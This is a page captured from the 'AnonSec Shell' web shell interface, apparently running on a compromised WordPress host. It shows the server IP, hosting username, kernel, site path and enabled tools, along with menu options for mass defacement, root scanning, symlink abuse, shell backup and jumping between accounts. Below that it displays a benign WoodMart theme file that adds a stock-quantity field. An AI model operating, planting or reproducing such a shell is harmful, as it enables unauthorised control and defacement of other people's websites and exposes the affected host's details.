AnonSec Shell
Server IP : 162.213.251.212  /  Your IP : 3.15.18.136   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux business55.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : allssztx ( 535)
PHP Version : 8.1.31
Disable Function : NONE
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/allssztx/bestvalleywater.com/wp-content/themes/woodmart/inc/integrations/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/allssztx/bestvalleywater.com/wp-content/themes/woodmart/inc/integrations/wcfm.php
<?php

if ( ! function_exists( 'woodmart_wcfm_stock_progress_bar_field' ) ) {
	function woodmart_wcfm_stock_progress_bar_field( $fields, $product_id ) {
		$value = get_post_meta( $product_id, 'woodmart_total_stock_quantity', true );

		$fields['woodmart_total_stock_quantity'] = array(
			'label'       => esc_html__( 'Initial number in stock', 'woodmart' ),
			'type'        => 'text',
			'class'       => 'wcfm-text',
			'label_class' => 'wcfm_title',
			'value'       => $value,
			'hints'       => esc_html__( 'Required for stock progress bar option.', 'woodmart' ),
		);

		return $fields;
	}

	add_filter( 'wcfm_product_fields_stock', 'woodmart_wcfm_stock_progress_bar_field', 10, 2 );
}

if ( ! function_exists( 'woodmart_wcfm_save_total_stock_quantity' ) ) {
	function woodmart_wcfm_save_total_stock_quantity( $post_id, $form_data ) {
		update_post_meta( $post_id, 'woodmart_total_stock_quantity', $form_data['woodmart_total_stock_quantity'] );
	}


	add_action( 'after_wcfm_products_manage_meta_save', 'woodmart_wcfm_save_total_stock_quantity', 10, 2 );
}

Anon7 - 2022
AnonSec Team